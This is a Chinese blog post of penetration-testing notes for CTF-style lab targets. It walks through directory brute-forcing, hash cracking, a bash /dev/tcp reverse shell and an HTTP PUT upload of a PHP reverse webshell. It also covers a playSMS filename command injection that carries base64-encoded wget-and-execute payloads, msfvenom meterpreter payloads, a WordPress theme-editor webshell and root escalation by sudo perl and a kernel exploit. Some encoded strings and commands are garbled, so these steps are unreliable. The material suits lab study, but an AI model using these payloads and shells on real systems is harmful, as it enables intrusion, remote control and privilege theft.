会出现框框
点击 Browse 选择kali自带的字典文件
/usr/share/dirbuster/wordlists/directory-list-1.0.txt
Number of Threads 可以调整线程

File extension 输入目标网站开发所用到的编程语言的后缀
然后点击 Start

就会出现新窗口,并且开始探测

发现探测出来/admin 敏感目录 以及 /dev敏感目录
可以尝试用浏览器访问
发现访问/dev 后会有一些邮箱信息,然后尝试查看源代码中的注释,也许会有敏感信息
假设发现了注释中有哈希值,然后就可以复制下来,暂存在记事本上
浏览器打开 :http://crackstation.net 网站 把哈希值粘贴到网站中的文本框,然后输入验证码,点击 Crack Hashes
出现绿色说明破解出来了,红色说明没有破解

回到浏览器访问的/admin目录下
账号:输入从源代码中看到的邮箱用户
密码:输入从源代码中看到邮箱用户对应的hash破解后的值

发现登录成功

漏洞利用
漏洞扫描
avws工具web安全漏洞扫描器
依次点击:左侧Targets > Add Target >输入 Address 靶场地址;下面的描述随便写 > Add Target >点击上面 Scan选项 > Report 选择生成的报告类型 >CreateScan
等待一段时间

然后在右下角的 Latest Alerts中就会显示一些低中高危漏洞信息,鼠标点击可以查看详情

这有个有趣的现象,在没有登录到后台时,没有cookie值的时候,访问/dev/shell会发现访问不了,但是登录后就能访问

访问的页面,就可以测试危险命令

反弹shell

攻击机监听
nv -nlvp 4444

回到/dev/shell 网页后
输入框输入
echo ‘bash -i > & /dev/tcp/kali的ip/4444’ 0>&1’ | bash
点击Run

回到终端就会发现 反弹shell了

然后输入
python -c “import pty;pty.spawn(‘/bin/bash’)”
就会进入到目标主机的终端
cd /home
发现一个敏感用户家目录 bulldogamin
cd bulldogamin
ls -alh

发现了一个敏感文件,隐藏管理员目录:.hiddenadmindirectory
cd .hiddenadmindirectory
ls -alh
发现了 customPermissionApp 和 note
查看一下note文件
cat note

使用strings 命令查看文件是否存在敏感文件
strings customPermissionApp

发现了其中的信息
UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget

然后复制粘贴到记事本上,进行进一步修改,看到UH-H 提示要 去除H 以及 换行
得到
SUPERultimatePASSWORDyouCANTget

尝试登录root的权限
su root
SUPERultimatePASSWORDyouCANTget
发现登录成功,并且用id命令可以查看到当前时root权限

获取falg
cd /root
cat falg

中间件put漏洞

中间件包括apache、.tomcat、IS、weblogic等,这些中间件可以设置支持的HTTP方法。(HTTP方法包括
GET、POST、HEAD、DELETE、PUT、OPTIONS等)

每一个HTTP方法都有其对应的功能,在这些方法中,UT可以直接从客户机上传文件到服务器。如果中
间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到服务器对应的目录。

直接上传shell,也可以从侧面反映PUT漏洞的严重危害性。

扫描目标主机开放的全部端口
nmap -p- -T4 192.168.1.102

扫描目标主机的全部信息
nmap -T4 -A -v 192.168.1.102

探测敏感信息
nikto -host 192.168.1.102:80

探测敏感目录
dirb http://192.168.1.102

漏洞扫描器
owasp-zap 图形化界面漏洞扫描工具

在kali中继承了,依次点击:Applications > Web Appication Analyis > owasp zap 就会打开界面,然后会加载进度条,然后在右侧的 URL to attack 输入框中输入靶场ip地址 http//192.168.1.102:80 然后点击 Attack 开始扫描,在下面的的Active Scan会显示相关信息,扫描完成会自动跳到 Alerts,然后会分别显示 低 中 高危 漏洞

扫描出来/test可疑目录,访问发现就是一个目录浏览的界面

发现没有什么可以利用的漏洞,此时就可以考虑put漏洞

对敏感目录进行探测
curl -v -X OPTIONS http://192.168.1.102:80/test
回车之后会出现一些提示信息,重点查看Allow 的信息,是否包含PUT
如果发现,就可以利用

利用思路:
-上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。.在kali linux当中获
取反弹shell;

上传webshell
将kali内置的webshell复制一份到桌面并且重命名(shell.php),方便后面的和二次修改
cd Desktop
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vim shell.php
修改$ip为kali的ip
$host为kali的空闲端口

利用post接口测试软件
url写 http://192.168.1.102/test/rshell.php

选择PUT请求,上传shell.php文件,执行上传

在kali中启动终端
使用nc开启监听反弹shell,监听443端口是为了绕过防火墙
nc -nlvp 443

用浏览器访问一下 http://192.168.1.102/test/rshell.php 用来执行webshell

进入到目标终端
python -c “import pty;pty.spawn(‘bin/bash’)”
此时登录的是普通用户

web 命令注入漏洞

扫描目标主机的服务信息以及版本
nmap -sV 192.168.1.104

快速扫描目标主机的全部信息
nmap -A -v -T4 192.168.1.104

探测目录信息
nikto -host http://192.168.1.104

探测敏感信息
dirb http://192.168.1.104

发现扫描出了一些敏感信息 /robots.txt
尝试用浏览器访问,发现了一些不允许爬取的目录

可以用浏览器一一访问
发现访问了 /nothing
虽然表面上没有什么价值的信息,但是查看源代码后,便看到注释里有一些类似于账号密码的信息

扫描器还扫描到了/secure/目录,是安全的意思
用浏览器访问之后,发现了backup.zip 文件,可能是网站的备份文件,点击下载到本地,并且移动到桌面,
解压并且打开后,发现了一个backup-cred.mp3 文件,尝试打开这个文件,发现要用密码,这里我们回想到从/nothing中的
源代码注释中查看到的信息,输入该密码,发现成功了
然后验证该文件是否真的是.mp3文件
file backup-cred.mp3
发现是个文本文件
cat backup-cred.mp3 查看,发现了一些提示信息
发现了uname:touhid;password 为*号
url :/SecreTSMSgatwayLogin
可以用浏览器访问 http://192.168.1.104//SecreTSMSgatwayLogin 发现访问到了登录后台的界面
账号用 touchid 密码用 从/nothing中的 源代码注释中查看到的信息

假设目标的系统采用的是playSMS

srarchsploit playSMS
发现查看到了一些漏洞,这里使用其中一条

cat /usr/share/exploitdb/platforms/php/webapps/42003.txt
阅读该文件中的信息
找到 Proof of Concept部分
可以访问get to 中所给的路径

然后用浏览器访问
192.168.1.104/SecreTSMSgatwayLogin/index.php?app=main&inc=feature_sendfromfile &op=list

发现了上传文件的界面
在kali终端中 touch 1.csv,是个空文件也无所谓
然后上传上去,发现上传成功

利用bp攻击,Repeater功能,截取上传文件的过程,将filename= “1.csv” 改为 filename = “<?php system('uname -a');die(); ?>.php”

然后点击go运行

要想让再次执行php文件,又得从头来过

查看Render返回结果

(扩展)另外一个搜索架构漏洞的网站
www.exploit-db.com

反弹shell

监听端口
在kali中依次执行下面命令
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter_reverse_tcp
set lhost kali的ip
set lport kali的空闲端口
exploit

生成shell
开启另外一个终端
msfvenom -p linux/x86/meterpreter_reverse_tcp lost=kali的ip lport=4444 -f elf > /var/www/html/s
ls -alh /var/www/html/
查看s是否存在

service apache2 start
service apache2 status

利用bash64 绕过防火墙
新开一个终端
echo ‘wget http://192.168.1.106/s -O /tmp/a’ | base64
回车之后会出现一段由base64 加密后的字符串
d2dldCBodHRwOi8vMTKyLjE20C4xLjEWNi9ZICPIC90bXAVY00=

echo ‘chmod 777 /tmp/a’ | base64
回车之后会出现一段由base64 加密后的字符串
Y2htb20gNzc3IC90bXAvYQ0-

echo ‘/tmp/a’ | base64
回车之后会出现一段由base64 加密后的字符串
L3Rtcc9hCq==

利用bp修改filename的内容
将filename = “1.csv” 修改为 filename = “<?php system(base64_decode('d2dldCBodHRwOi8vMTKyLjE20C4xLjEWNi9ZICPIC90bXAVY00='));die ?>”

然后点击go

然后再重新截获数据包,上传2.csv文件
Renpeater 修改 为 filename = “<?php system(base64_decode('Y2htb20gNzc3IC90bXAvYQ0-'));die ?>”

再重新上传3.csv文件,并且用bp截断数据包
Renpeater 修改 为 filename = “<?php system(base64_decode('L3Rtcc9hCq=='));die ?>”
点击go

然后回到监听的终端,发现进入到了meterpreter界面

提升权限,获取flag值
shell进入到目标的终端,用id查看发现是普通用户
依次执行以下命令
sudo perl -e "exec ‘/bin/sh’ "
bash -i
发现反弹成功了root权限的shell

获取flag
cd /root
ls
cat flag

总结:信息收集一定要充分,根据题目提示来逐步进行渗透测试:
对于web系统,一定要注意利用现成的EXP。

CTF初级综合测试

综合测试(一)

探测目标主机的服务信息以及版本
nmap -sV 192.168.253.13

快速扫描主机全部信息
nmap -A -v -T4 192.168.253.13

探测目标信息
nikto -host http://192.168.253.13

dirb http://192.168.253.13

这里就会探测出一些敏感目录

尝试访问 192.168.253.13/login.php

利用弱点
登录界面是否存在sql注入
敏感信息是否泄露
目标机器使用的模板或框架的漏洞
敏感文件,backup.zip(备份文件) 等

绕过登录认证机制
1 查看源代码,重点查看注释信息 以及 js代码的逻辑

尝试用burp进行fuzz测试,绕过登录验证机制
web模糊测试字典位置 /usr/share/wordlists/wfuzz

渗透测试技巧
-查看burpsuitel中Introder模块中返回值得不同,区分不同响应
·对于绕过认证机制,需要查看源代码,挖掘是否存在s验证

在kali的桌面开启终端

cp /usr/share/wordlists/wfuzz/Injections/SQL.txt /root/Desktop/SQL.txt

打开burp,浏览器开启代理,进行登录包的抓住
登录的账号密码随便输,例如这里 刚刚从源代码中提取出疑似账号的信息:@btrisk.com
发送到repeater模块,并且点击 Intruder 模块,鼠标选中 抓取包的密码,点击右侧的Add $

点击 Intruder 下面的Payloads模块, 将Payload type 的值改为Runtime file
select file 选择 桌面上的SQL.txt
然后然后发送一大堆数据包,进行爆破,查看length的长度,如果有个特别的长,所以很有可能是漏洞可利用

单击该包,可以点击下面的Response 下的Render预览数据包的内容
右键该包,点击Show response in browser,会弹出框框,点击copy,然后复制到浏览器中进行访问,发现访问到了可以上传文件的界面

回到kali的桌面,touch 1.jpg 和 touch 1.php 文件
此时只能上传jpg的文件

未完待续

综合测试(二)

扫描主机服务信息以及服务版本
nmap -sV 192.168.253.14

快速扫描主机全部信息
nmap -T4 -A -v 192.168.253.14

探测目录信息
nikto -host http://192.168.253.14

dirb http://192.168.253.14

利用弱点
登录界面是否存在sql注入
敏感信息是否泄露
目标机器使用的模板或框架的漏洞
敏感文件,backup.zip(备份文件) 等
是否存在弱口令

利用扫描工具扫描出来的信息,查看是否是某个CMS ,是否据由可以直接利用的漏洞
假设这里扫描出来了是wordpress 的cms

然后就可以用wordperss专用的扫描器
wpscan --url http://192.168.253.14/wordpress --enumerate at --enumerate ap -enumerate u
这里就扫描出来wordpress后台登录的账号密码,以及可利用的漏洞
然后 浏览器访问 http://192.168.253.14/wordpress/wp-login.php 访问后台登录界面,输入账号密码,发现登录了后台

生成shell
kali终端中输入
msfvenom -p php/meterpreter/reverse_tcp lhsot=192.168.253.12 lport=444 -f raw
等待一段时间,就会生成webshell代码,复制下来

启动监听
kali新开一个终端,依次输入如下命令
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost kali的ip
run

回到后台登录成功后界面,依次点击 左侧菜单栏 Appearance >Editor >点击右侧 404 Templace

在Edit Themes下面有当前主题的名称,假设是 twentyfourteen:Stylesheet(style.css)
将刚刚复制的webshell代码粘贴到文本框中,点击Upload file

在浏览器中输入 http://192.168.253.14/wordpress/wp-content/themes/twentyfourteen/404.php 然后访问
回到终端,输入sysinfo 查看到了目标主机的内核版本,假设内核版本是:Ubuntu 4.4.0-62 ,发现反弹到了目标主机shell
此时用户是普通用户

利用内核溢出代码提升root权限
在kali中新开一个终端
searchsploit ubuntu 4.4.0
回车之后就显示了相关的内核溢出漏洞
查看其中一个
cd /usr/share/exploitdb/exploits/linux/local/
cat 41458.c
这里就看到了溢出代码
cp 41458.c /root/Desktop
cd /root/Desktop

将代码编译成计算机能识别的代码
gcc 41458.c -o shellroot

ls -alh

将shellroot上传到目标服务上
upload /root/Desktop/shellroot

赋予文件权限
chmod 777 shellroot

执行该文件
.shellroot

id查看,发现提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值